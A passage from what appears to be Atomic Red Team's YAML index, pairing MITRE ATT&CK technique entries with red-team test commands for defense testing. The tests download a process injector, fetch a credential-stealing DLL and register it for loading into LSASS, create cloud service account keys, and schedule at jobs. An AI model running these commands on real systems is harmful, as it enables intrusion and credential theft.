with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box. supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1055.015\bin\ListPlanting.exe dependency_executor_name: powershell dependencies: - description: 'Injector ListPlanting.exe must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.015/bin/ListPlanting.exe" -OutFile "#{exe_binary}" executor: command: |- Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true T1484: technique: modified: '2024-04-19T04:27:31.884Z' name: Domain or Tenant Policy Modification description: "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Obsidian Security x_mitre_deprecated: false x_mitre_detection: |- It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - SaaS x_mitre_version: '3.0' x_mitre_data_sources: - 'Active Directory: Active Directory Object Deletion' - 'Active Directory: Active Directory Object Creation' - 'Command: Command Execution' - 'Active Directory: Active Directory Object Modification' - 'Application Log: Application Log Content' x_mitre_defense_bypassed: - System access controls - File system access controls x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d created: '2019-03-07T14:10:32.650Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1484 external_id: T1484 - source_name: CISA SolarWinds Cloud Detection description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021. url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a - source_name: ADSecurity GPO Persistence 2016 description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.' url: https://adsecurity.org/?p=2716 - source_name: Microsoft 365 Defender Solorigate description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021. url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml - source_name: Microsoft - Update or Repair Federated domain description: Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020. url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365 - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Okta Cross-Tenant Impersonation 2023 description: 'Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.' url: https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection - source_name: Wald0 Guide to GPOs description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. url: https://wald0.com/?p=179 - source_name: Harmj0y Abusing GPO Permissions description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ - source_name: Sygnia Golden SAML description: Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. url: https://www.sygnia.co/golden-saml-advisory object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.008: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Vincent Le Toux object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4 created: '2020-01-24T18:38:55.801Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1547.008 url: https://attack.mitre.org/techniques/T1547/008 - source_name: Microsoft LSA Protection Mar 2014 url: https://technet.microsoft.com/library/dn408187.aspx description: Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. - source_name: Microsoft DLL Security url: https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx description: Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. - source_name: Microsoft Security Subsystem url: https://technet.microsoft.com/library/cc961760.aspx description: Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. - source_name: TechNet Autoruns url: https://technet.microsoft.com/en-us/sysinternals/bb963902 description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. x_mitre_deprecated: false revoked: false description: |- Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: LSASS Driver' x_mitre_detection: "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'Driver: Driver Load' - 'File: File Modification' x_mitre_permissions_required: - SYSTEM - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.008 atomic_tests: - name: Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt auto_generated_guid: 8ecef16d-d289-46b4-917b-0dba6dc81cf1 description: "The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n" supported_platforms: - windows input_arguments: dll_path: description: Module to be loaded into LSASS type: path default: PathToAtomicsFolder\..\ExternalPayloads\lsass_lib.dll dependency_executor_name: powershell dependencies: - description: 'lsass_lib.dll must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll" -UseBasicParsing -OutFile "#{dll_path}" executor: command: 'New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "#{dll_path}" ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null ' name: powershell elevation_required: true T1078.004: technique: modified: '2024-03-29T15:42:13.499Z' name: 'Valid Accounts: Cloud Accounts' description: "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Jon Sternstein, Stern Security x_mitre_deprecated: false x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - SaaS - IaaS - Google Workspace x_mitre_version: '1.7' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65 created: '2020-03-13T20:36:57.378Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/004 external_id: T1078.004 - source_name: AWS Identity Federation description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020. url: https://aws.amazon.com/identity/federation/ - source_name: Google Federating GC description: Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020. url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction - source_name: Microsoft Deploying AD Federation description: Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.004 atomic_tests: - name: Creating GCP Service Account and Service Account Key auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e description: 'GCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud. ' supported_platforms: - google-workspace - iaas:gcp input_arguments: project-id: description: ID of the project, you want to create service account as well as service account key for type: string default: art-project-1 service-account-name: description: Name of the service account type: string default: gcp-art-service-account-1 service-account-email: description: Email of the service account type: string default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com output-key-file: description: Email of the service account type: string default: gcp-art-service-account-1.json executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam service-accounts create #{service-account-name} gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email} cleanup_command: 'gcloud iam service-accounts delete #{service-account-email} --quiet ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' - name: Azure Persistence Automation Runbook Created or Modified auto_generated_guid: 348f4d14-4bd3-4f6b-bd8a-61237f78b3ac description: | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. supported_platforms: - iaas:azure input_arguments: username: description: Azure username type: string default: password: description: Azure password type: string default: resource_group: description: Name of the resource group type: string default: runbook_name: description: Name of the runbook name type: string default: automation_account_name: description: Name of the automation account name type: string default: dependency_executor_name: powershell dependencies: - description: 'Check if terraform is installed. ' prereq_command: 'terraform version ' get_prereq_command: 'echo Please install terraform. ' - description: 'Install-Module -Name Az ' prereq_command: 'try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az -Scope CurrentUser -Force ' - description: 'Check if the user is logged into Azure. ' prereq_command: 'az account show ' get_prereq_command: "echo Configure your Azure account using: az login. \n" - description: 'Create dependency resources using terraform ' prereq_command: 'try {if (Test-Path "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1} ' get_prereq_command: | cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform init terraform apply -auto-approve executor: command: | $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzAccount -Credential $creds New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name} name: powershell elevation_required: false cleanup_command: | Remove-AzAutomationRunbook -AutomationAccountName #{automation_account_name} -Name #{runbook_name} -ResourceGroupName #{resource_group} -Force cd "$PathToAtomicsFolder/T1078.004/src/T1078.004-2/" terraform destroy -auto-approve - name: GCP - Create Custom IAM Role auto_generated_guid: 3a159042-69e6-4398-9a69-3308a4841c85 description: "This atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n" supported_platforms: - iaas:gcp input_arguments: project-id: description: ID of the GCP Project you to execute the command against. type: string default: atomic-test-1 role-name: description: The name of the role to be created. type: string default: AtomicRedTeamRole role-description: description: The description of the role to be created. type: string default: Atomic Red Team Custom IAM Role roles: description: List of roles to be applied type: string default: iam.serviceAccounts.get executor: name: sh elevation_required: false command: | gcloud config set project #{project-id} gcloud iam roles create #{role-name} --description="#{role-description}" --permissions=#{roles} --project=#{project-id} cleanup_command: 'gcloud iam roles delete #{role-name} --project=#{project-id} ' dependency_executor_name: sh dependencies: - description: 'Requires gcloud ' prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install" ' - description: "Check if user is logged in \n" prereq_command: 'gcloud config get-value account ' get_prereq_command: 'gcloud auth login --no-launch-browser ' T1053.002: technique: modified: '2023-11-15T14:38:10.876Z' name: 'Scheduled Task/Job: At' description: |- Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at) Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM). In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008)." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '2.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' - 'Network Traffic: Network Traffic Flow' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator - User x_mitre_remote_support: true type: attack-pattern id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0 created: '2019-11-27T13:52:45.853Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/002 external_id: T1053.002 - source_name: rowland linux at 2019 description: Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. url: https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ - source_name: GTFObins at description: Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. url: https://gtfobins.github.io/gtfobins/at/ - source_name: Linux at description: IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. url: https://man7.org/linux/man-pages/man1/at.1p.html - source_name: Twitter Leoloobeek Scheduled Task description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Microsoft Scheduled Task Events Win10 description: Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events - source_name: TechNet Scheduled Task Events description: Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Forum Scheduled Task Operational Setting description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.002 atomic_tests: - name: At.exe Scheduled task auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8 description: | Executes cmd.exe Note: deprecated in Windows 8+ Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time. supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'at 13:20 /interactive cmd ' - name: At - Schedule a job auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e description: 'This test submits a command to be run in the future by the `at` daemon. ' supported_platforms: - linux input_arguments: time_spec: description: Time specification of when the command should run type: string default: now + 1 minute at_command: description: The command to be run type: string default: echo Hello from Atomic Red Team dependency_executor_name: sh dependencies: - description: 'The `at` and `atd` executables must exist in the PATH ' prereq_command: 'if [ "$(uname)" = ''FreeBSD'' ]; then which at; else which at && which atd; fi; ' get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found in the PATH (Package name: `at`)'' ' - description: 'The `atd` daemon must be running ' prereq_command: 'if [ $(uname) = ''Linux'' ]; then systemctl status atd || service atd status; fi; ' get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service atd start` ; systemd: `systemctl start atd`)'' ' executor: name: sh elevation_required: false command: 'echo "#{at_command}" | at #{time_spec}' T1055.001: technique: modified: '2023-08-11T21:34:38.558Z' name: 'Process Injection: Dynamic-link Library Injection' description: "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Boominathan Sundaram x_mitre_deprecated: false x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Metadata' - 'Process: Process Access' - 'Process: Process Modification' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945 created: 